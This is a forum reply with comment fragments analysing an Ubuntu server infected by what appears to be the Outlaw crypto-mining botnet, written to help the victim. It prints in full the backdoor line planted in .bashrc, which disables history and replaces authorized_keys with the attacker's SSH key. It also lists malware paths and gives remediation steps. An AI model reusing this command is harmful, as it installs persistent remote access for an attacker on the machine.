The same happened to me, and I noticed yesterday. I checked the file /var/log/syslog
and this IP (185.234.218.40) appeared to be automatically executing cronjobs.
I checked it on http://whatismyipaddress.com ( https://whatismyipaddress.com/ip/185.234.218.40 ) and it has some reports. These files were edited by the trojan:
- .bashrc
- .ssh/authorized_keys
I found this at the end of .bashrc
(which is executed each time bash is opened):
set +o history
export PATH=/home/user/.bin:$PATH
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~
It is deleting your authorized_keys
file, which is a list of SSH keys which are allowed to connect without a password. Then, it adds the attacker's SSH key:
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr
Furthermore, I found this folder: /tmp/.X13-unix/.rsync
, where all the malware is. I even found a file, /tmp/.X13-unix/.rsync/c/ip
, a file containing 70 000 IP addresses, which most likely are other victims or node servers.
There are 2 solutions:
A:
Add a firewall blocking all outgoing connections except port 22 and others that you find necessary and enable fail2ban, a program which bans an IP address after X failed password attempts
Kill all cron jobs:
ps aux | grep cron
, then kill the PID that shows up
Change your password to a secure one
B:
Back up any files or folders that you need or want
Reset the server and reinstall Ubuntu, or directly create a new droplet
Like Thom Wiggers said, you are certainly part of a bitcoin mining botnet, and your server has a backdoor. The backdoor employs a perl exploit, a file located here: /tmp/.X13-unix/.rsync/b/run
, containing this (https://pastebin.com/ceP2jsUy)
The most suspicious folders I found were:
Finally, there is an article relating to the Perl Backdoor here:
https://blog.trendmicro.com/trendlabs-security-intelligence/outlaw-hacking-groups-botnet-observed-spreading-miner-perl-based-backdoor/
I hope you find this useful.
.firefoxcatche
probably doesn't have anything to do with firefox – could this just be a bitcoin miner? Try uploading the executables to virustotal./root/.firefoxcatche/a/upd
and/root/.firefoxcatche/b/sync
sudo crontab -e
to edit not work? But if this is a cryptominer you did not install... those will be re-added. 1st look in "/root/.firefoxcatche/a/upd" what it does.